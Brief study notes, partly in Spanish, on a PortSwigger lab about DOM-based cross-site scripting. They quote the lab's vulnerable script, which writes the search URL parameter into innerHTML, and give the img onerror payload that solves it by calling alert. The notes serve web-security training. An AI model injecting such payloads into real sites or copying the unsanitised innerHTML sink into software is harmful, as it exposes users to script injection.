DOM XSS in innerHTML sink using source location.search

https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-innerhtml-sink

This lab contains a DOM-based cross-site scripting vulnerability in the search blog functionality. It uses an innerHTML assignment, which changes the HTML contents of a div element, using data from location.search.

To solve this lab, perform a cross-site scripting attack that calls the alert function.

---

https://siunam321.github.io/ctf/portswigger-labs/Cross-Site-Scripting/xss-4/

<script> 
function doSearchQuery(query) { 
document.getElementById('searchMessage').innerHTML = query; } 

var query = (new URLSearchParams(window.location.search)).get('search'); 

if(query) { doSearchQuery(query); } </script>

• No utiliza sanitizacion, codificacion ni scaping
• el "source" es el parametro "search"
• el "sink" (quien soporta ejecucion de codigo dinamico) es innerHTML

<img src=errorpls onerror=alert(document.domain)>